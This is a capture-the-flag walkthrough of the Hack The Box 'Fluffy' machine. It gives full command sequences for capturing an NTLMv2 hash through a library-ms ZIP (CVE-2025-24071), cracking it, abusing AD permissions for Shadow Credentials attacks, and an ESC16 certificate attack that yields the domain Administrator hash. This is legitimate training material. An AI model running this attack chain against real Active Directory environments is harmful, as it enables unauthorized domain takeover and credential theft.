PRIMARY CATEGORY → EASY

Summary

  • Listing SMB Shares with Netexec
  • Uploading files via SMB using SMBMap
  • Capturing an NTLMv2 hash with Responder by uploading a ZIP containing a library-ms file
  • Cracking NTLMv2 hashes with Hashcat
  • Exhaustive Domain Enumeration using Rusthound-CE and BloodHound Community Edition
  • DACL Abuse (GenericAll) over a Domain Group to add a controlled user account to it
  • Performing a Shadow Credentials attack via DACL Abuse (GenericWrite) using PyWhisker and PKINITtools
  • Performing another Shadow Credentials attack via DACL Abuse using Certipy
  • Enumerating a CA and its Certificate Templates
  • Performing an ESC16 attack with Certipy


Setup

Directory creation with the Machine’s Name

mkdir Fluffy && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.232.88

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG Fluffy.allPorts 10.129.232.88

Open Ports →

53, 88, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389, 49666, 49689, 49690, 49697, 49712 and 49732
Comprehensive Scan

We can apply a little filter to the Fluffy.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p $( grep -ioP --color -- '\s\d{1,5}(?=/open)' Fluffy.allPorts | xargs | sed 's@\s@,@g' ) -sCV -v -n -Pn --disable-arp-ping -oN Fluffy.targeted 10.129.232.88
139, 445 - SMB

This time, we start this assessment with valid domain credentials, namely those for the user j.fleischman

Therefore, there is no need to try Null, Guest or Random SMB authentication as always, we can directly list the available shares on the DC

We can enumerate most of the data related to the domain as well

First, let’s check if the provided credentials are valid

nxc smb 10.129.232.88 --username 'j.fleischman' --password 'J0elTHEM4n1990!'

And they are. We have gathered some interesting information in the output above such as the hostname, the domain name and other relevant stuff. So, let’s add its name to the /etc/hosts file to facilitate subsequent kerberos enumeration or techniques

printf "%s\t%s\t%s\t%s" "10.129.232.88" "dc01" "fluffy.htb" "dc01.fluffy.htb" >> /etc/hosts

Now, we can proceed listing the available shared folders on the Domain Controller

nxc smb dc01 --username 'j.fleischman' --password 'J0elTHEM4n1990!' --shares

Since any domain user account has read access to the SYSVOL share, we should check its content for any groups.xml (GPP) or scripts containing plain credentials and so on

But, before that, we will list the content of the IT share, which is a non-standard Windows machine shared folder

smbmap -H 'dc01' -u 'j.fleischman' -p 'J0elTHEM4n1990!' -d 'fluffy.htb' -R 'IT'

We have some interesting assets, but the PDF file stands out from the rest. Let’s download it and check its content

smbmap -H 'dc01' -u 'j.fleischman' -p 'J0elTHEM4n1990!' -d 'fluffy.htb' --download 'IT/Upgrade_Notice.pdf'
open 
mv /home/al3xbb/HTB/Fluffy/Scans/dc01-IT_Upgrade_Notice.pdf Upgrade_Notice.pdf
open !$

There is a section with a table of CVEs discovered on 2025

Zoom in

It might be a clue and the targe is vulnerable to any of these

If we start looking for them one by one, the CVE-2025-24071 results quite interesting as we have write access on the IT share as j.fleischman

An operator can abuse this situation by uploading a zip file contaning a library-ms file, referencing an icon located in an SMB rogue server controlled by the attacker, to a public share in order to trigger an SMB authentication

Once we recieve this authentication, we could relay it to another endpoint to be able to authenticate as the given user account or capture the NTLMv2 hash and try to crack it

The former is not possible as we do not have other active hosts in the network apart from the target and us. We also cannot redirect the authentication to itself as Reflective NTLM is fully patched for quite some time

So, let’s upload a zip with a library-ms file to the IT share and wait for any incoming SMB authentication

First, we set up an SMB server as follows

responder --interface tun0

Then, we upload the library-ms file

zip archive.zip test.library-ms
smbclient.py 'fluffy.htb/j.fleischman:J0elTHEM4n1990!@DC01'
> use IT
> put archive.zip

After a while, we receive an authentication and capture the NTLMv2 type 3 message. It corresponds to the p.agila user account

p.agila::FLUFFY:6bb32085f2f07fcc:4B39848B9B47BD0E3F7F2F202C1E481E:0101...<SNIP>...

We can try to crack it as follows

hashcat --force -O --attack-mode 0 --hash-type 5600 p_agila.hash /usr/share/wordlists/rockyou.txt

And we were successful in cracking it

hashcat --force -O --attack-mode 0 --hash-type 5600 p_agila.hash /usr/share/wordlists/rockyou.txt --show

We check the above password with the p.agila user account

nxc smb dc01 --username 'p.agila' --password 'prometheusx-303'

And it is valid one

We list the groups to which the user p.agila belongs aside from the Domain Admins group

net rpc user info 'p.agila' -U 'fluffy.htb/p.agila%prometheusx-303' -S 'DC01'

And this account is member of the Service Account Managers group. It woud be interesting to check if this user account or group has any type of right over another domain object

To do this, we can run a tools such as Bloodhound.py or Rusthound-ce. This time, we will run the latter

git clone https://github.com/g0h4n/RustHound-CE/ RH-CE
cd !$ && cargo build --release
rusthound-ce --domain 'fluffy.htb' --ldapusername 'p.agila' --ldappassword 'prometheusx-303' --ldapip 'dc01.fluffy.htb' --name-server '10.129.232.88' --collectionmethod All --zip

Next, we deploy BH-CE and access its control panel to ingest the above extracted data

  • Setting up BH-CE
mkdir BH-CE
cd !$ && wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install
  • Ingesting the data

Zoom in

We find out the following Outbound Object Control for the user p.agila

Zoom in

The Service Account Managers group, to which the p.agila belongs, has GenericAll, i.e. Full Control over the Service Accounts group, which means that we could add ourselves or another user account to the latter

Moreover, if we continue checking the Outbound Object Control for the Service Acconts group, we find out that any member of this group has GenericWrite over the below user accounts

Zoom in

Therefore, we can compromise all of them. The easiest approach would be modifying their password, but this is not too much OPSEC and could disrupt a service as this accounts are service accounts

So, we will perform a Shadow Credentials attack to compromise the winrm_svc account, which belongs to the Remote Management Users group

ldapsearch -LLL -x -H 'ldap://dc01.fluffy.htb' -D 'p.agila@fluffy.htb' -w 'prometheusx-303' -b 'DC=fluffy,DC=htb' '(samAccountName=winrm_svc)' memberof

This way, we will able to connect remotely to the target via WinRM

First of all, let’s leverage the GenericAll right over the Service Accounts group to add ourselves to it

net rpc group addmem 'Service Accounts' 'p.agila' -U 'fluffy.htb/p.agila%prometheusx-303' -S 'DC01'
net rpc group members 'Service Accounts' -U 'fluffy.htb/p.agila%prometheusx-303' -S 'DC01'

Then, let’s add our keyCredential Object to the ms-DS-keyCredentialLink attribute of the winrm_svc user account

git clone https://github.com/ShutdownRepo/pywhisker pywhisker
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt
python3 pywhisker/pywhisker.py --dc-ip 'DC01' --domain 'fluffy.htb' --user 'p.agila' --password 'prometheusx-303' --target 'winrm_svc' --action add

Now, we have a certificate corresponding to the winrm_svc user. Its ms-DS-KeyCredentialLink attribute has been populated with a keyCredential Object containing the public key of this certificate

Therefore, we can initiate an AS Exchange via PKINIT Key Trust to the KDC’s AS by authenticating ourselves with the obtained certificate i.e. a Pass the Certificate

Remember that when a kerberos client requests a Ticket Granting Ticket via PKINIT, the KDC introduces the NT hash of the principal within the TGT’s PAC

Thus, an operator could leverage the U2U kerberos extension to request a TGT for itself, encrypted with the kerberos key of the TGT presented as additional ticket, and extract the NT Hash i.e. an Unpac the Hash

All of this can be accomplished as follows →

git clone https://github.com/dirkjanm/PKINITtools PKINITtools
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt
python3 gettgtpkinit.py -dc-ip 'DC01' -cert-pfx ../pywhisker/yJorbpya.pfx -pfx-pass 'jRDbX1kfdcPuYYFJLgeN' 'fluffy.htb/winrm_svc' 'winrm_svc.ccache'
python3 getnthash.py -dc-ip 'DC01' -key '802240c013f5ec1529404eb6c4a357eebbc358e125f0db55817f7352bf6432d9' 'fluffy.htb/winrm_svc'

Now, we can validate the obtained NT Hash

nxc winrm DC01 --username 'winrm_svc' --hash '33bd09dcd697600edf6b3a7af4875767'

The login has been succesful, so let’s connect to the target remotely via WinRM

evil-winrm --ip 'DC01' --user 'winrm_svc' --hash '33bd09dcd697600edf6b3a7af4875767'

Now we can grab the content of the user.txt flag

Get-Content C:\Users\winrm_svc\Desktop\user.txt

Before proceed with any type of PE technique, we saw that the AD CS feature was installed on the DC during the Scan phase

We can check this out by performing an enumeration of any deployed CA in the target using certipy

certipy find -dc-ip 10.129.15.3 -username 'p.agila' -password 'prometheusx-303' -stdout

As stated, there is a CA installed on the DC, but it seems that there is no vulnerability, at least authenticating ourselves with the p.agila user

However, the ca_svc user belongs to the Cert Publishers group, so we could run the same command but authenticating ourselves as this user

We do not have the credentials of the ca_svc user yet, but remember that this service account belongs to the Service Accounts group, so we have GenericWrite over any member of this group, including the cv_svc user account

Thus, we could perform another Shadow Credentials attack for this user. This time, to accomplish this task, we will use Certipy instead of PyWhisker + PKInitTools, as it is a more direct way to perform the SC + PtC + UtH

certipy shadow -username 'p.agila@fluffy.htb' -password 'prometheusx-303' -dc-host '10.129.232.88' -account ca_svc auto

As we always do, we check the extracted NT Hash for the ca_svc user

nxc smb DC01 --username 'ca_svc' --hash 'ca0f4f9e9eb8a092addf53bb03fc98c8'

Now we can run certipy with the find subcommand as ca_svc to look for any AS CS vulnerabilities, either on a certain template or at the CA-level

certipy find -dc-ip '10.129.232.88' -username 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -stdout

The CA does not have enabled the security extension, which stores the objectSID attribute of the authenticated client, who is requesting a certificate for client authentication, in the certificate itself, namely in the Subject section

This extension facilitates the strong mapping by the KDC during the AS exchange via PKINIT. That is, when this security extension is enabled on the CA, any certificate issued contains both the UPN and the objectSID, within the security extension.

Therefore, when a client uses this certificate to authenticate to the KDC, in order to obtain a Ticket Granting Ticket, by initiating an AS Exchange via PKINIT Certificate Trust, the KDC validates this certificate by performing some type of mapping between the latter and the client name

If enforcement is enabled on the DC, the KDC will carry out an strong mapping according to the objectSID, rejecting any other type of mapping. In the other hand, if enforcement is not enabled or parcially enabled, the KDC will try an strong mapping, if it fails, it will fallback on a weaker mapping such as an UPN validation

Microsoft introduced a security patch related to ESC16 in order to prevent falling back on weak certificate mapping. With this update, the enabled status will be the only supported mode for the enforcement configuration

That is, any KDC will perform strong mapping when validating any certificate presented by the client. If this validation fails for any reason, it will not fall back on weak mapping

That said, the target is a Windows Server 2019 and we have checked that this patch is not installed on it, so we can leverage the absence of this security extension in order to perform an ESC16 as ca_svc

The workflow is quite simple but it requires the following conditions

→ The security extension must be disabled on the CA

→ The enforcement mode must be set to disabled or partially enabled in order to allow the KDC to perform a weak mapping

→ An operator must control a domain account that has GenericAll or GenericWrite, among others, on another account

If this conditions are met, we can proceed as follows

The main idea behind this scenario is that we have to request a certificate as ca_svc for itself having previously modified its UPN to the value of Administrator

Thus, the CA will issue a certificate containing a UPN in the subject corresponding to the Administrator user

When the KDC validates the presented certificated by performing weak mapping, it looks for a UPN that matches the one inside the certificate. If it does not find one, it will fall back on the samAccountName

So, if we reset the value of the ca_svc’s UPN attribute after requesting the certificate, when we authenticate to the KDC with the latter, since it will not find any matching UPN, it will fall back on the samAccountName attribute, discovering that the administrator account one matches the UPN of the certificate

Then, the authentication will be successful and we will receive a Ticket Granting Ticket for the domain administrator account, for which we can extract its NT Hash via U2U, as stated here

That said, let’s get to work

Modifying CA_SVC’s UPN
certipy account -dc-ip '10.129.232.88' -username 'p.agila' -password 'prometheusx-303' -user 'ca_svc' -upn 'Administrator' update
Requesting a Certificate as CA_SVC
certipy req -dc-ip '10.129.232.88' -username 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -ca 'fluffy-DC01-CA' -template 'User'
Resetting CA_SVC’s UPN
certipy account -dc-ip '10.129.232.88' -username 'p.agila' -password 'prometheusx-303' -user 'ca_svc' -upn 'ca_svc@fluffy.htb' update
Pass-the-Certificate + Unpac-the-Hash as Administrator
certipy auth -dc-ip '10.129.232.88' -username 'Administrator' -domain 'fluffy.htb' -pfx administrator.pfx

Once we have obtained the NT Hash or TGT for the administrator user account, we can validate it as follows

nxc smb DC01 --username 'Administrator' --hash '8da83a3fa618b6e3a00e93f676c92a6e'

The authentication has been successful, so we can establish a remote connection to the target via WinRM

evil-winrm --ip 'DC01' --user 'Administrator' --hash '8da83a3fa618b6e3a00e93f676c92a6e'

All that’s left is to grab the root.txt flag and move on to the next 😊